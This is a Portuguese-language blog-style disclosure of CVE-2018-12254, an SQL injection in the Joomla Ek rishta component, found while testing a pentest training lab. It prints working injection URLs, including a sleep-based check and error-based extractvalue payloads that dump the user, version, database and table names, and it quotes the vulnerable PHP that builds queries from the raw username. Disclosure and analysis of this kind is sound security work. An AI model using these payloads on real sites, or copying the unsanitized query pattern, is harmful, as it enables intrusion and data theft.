CVE-2018-12254 - Sql Injection Joomla Ek rishta Component
A vulnerabilidade foi encontrada de uma forma um pouco inusitada. A alguns dias o Daybson estava subindo um laboratório de teste novo, para o curso de Pentest Profissional da Desec Security, quando me chamou para testa-lo, eu em particular não sabia que vulnerabilidade havia no laboratório, apenas loguei e fui testar. Notei que eu tinha o nome do usuário na seguinte url(index.php/home/requested_user/Sent%20interest/corp) e me pareceu um pouco estranho, talvez fosse gerado um novo arquivo durante o registro ou algo assim, mas na verdade notei que aquilo não era um arquivo, era realmente um parâmetro da url.
O teste inicial logicamente foi adicionar uma aspas simples e ver o que iria me retornar:
url:http://[HOST]/index.php/home/requested_user/Sent%20interest/1'or%20a%23
Então, seguindo o erro, temos um Sql Injection aqui!
Fazendo mais um teste para confirmar, conseguimos ter a certeza disso:
url:http://[HOST]/index.php/home/requested_user/Sent%20interest/1'or%20sleep(5)%23
Até este ponto estava tudo bem, porém notei uma limitação ao tentar dumpar a db no modo clássico, até mesmo usando blind. Me pareceu estranho não conseguir resposta para algumas querys, porém, entendi que eu estava limitado, fazendo algumas pesquisas vi que a maneira seria fazer o dump usando error based com XPATH Injection.
url:http://[HOST]/index.php/home/requested_user/Sent%20interest/1'%20or%20extractvalue(1,user())%20%23
url:http://[HOST]/index.php/home/requested_user/Sent%20interest/1'%20or%20extractvalue(1,version())%20%23
url:http://[HOST]/index.php/home/requested_user/Sent%20interest/1'%20or%20extractvalue(0x0a,concat(0x0a,(select%20database())))%20%23
url:http://[HOST]/index.php/home/requested_user/Sent%20interest/1'%20or%20extractvalue(0x0a,concat(0x0a,(select%20table_name%20from%20information_schema.tables)))%20%23
Bom, a partir deste ponto, a melhor forma seria criar um script para fazer o dump!
Depois disso, eu ainda assim fiquei curioso para saber como que o componente estava capturando esta parte da url, então baixei o código dele e vasculhei até encontrar o seguinte trecho:
router.php
238 - if(!empty($segments[2]) && $segments[0]=='requested_user') {
239 - $c_id = EkrishtaUsrID($segments[2]);
240 - if($segments[1] == "Sent interest")
241 - $vars['rid'] = $c_id;
242 - else
243 - $vars['cid'] = $c_id;
244 - }Fazendo uma analise rápida, sabemos que o $c_id esta capturando o segmento que está o nosso nome de usuário e adicionando ele a um array ($vars), podemos basicamente adivinhar que a função EkrishtaUsrID() está buscando o nosso id ou o nome do usuário no banco de dados, mas vamos ver o que realmente ela está fazendo.
Fazendo uma procura pela função EkrishtaUsrID(), encontrei ela presente no mesmo arquivo e é possível ver que que existe uma falta de sanitização nas linhas 295 e 305.
291 - function EkrishtaUsrName($uid)
292 - {
293 -
294 - $db = JFactory::getDBO();
295 - $sql = "SELECT `username` FROM #__users WHERE `id`='". $uid."'";
296 - $db->setQuery($sql);
297 - return $db->loadResult();
298 -
299 - }
300 -
301 - function EkrishtaUsrID($uid_name)
302 - {
303 -
304 - $db = JFactory::getDBO();
305 - $sql = "SELECT `id` FROM #__users WHERE `username`= '" .$uid_name."'";
306 - $db->setQuery($sql);
307 - return $db->loadResult();
308 -
309 - }Para finalizar a história, a vulnerabilidade que eu encontrei não estava dentro daquilo que estava programado para o laboratório e também não estava assinada ou relacionada a qualquer outra descoberta, então peguei uma cve :).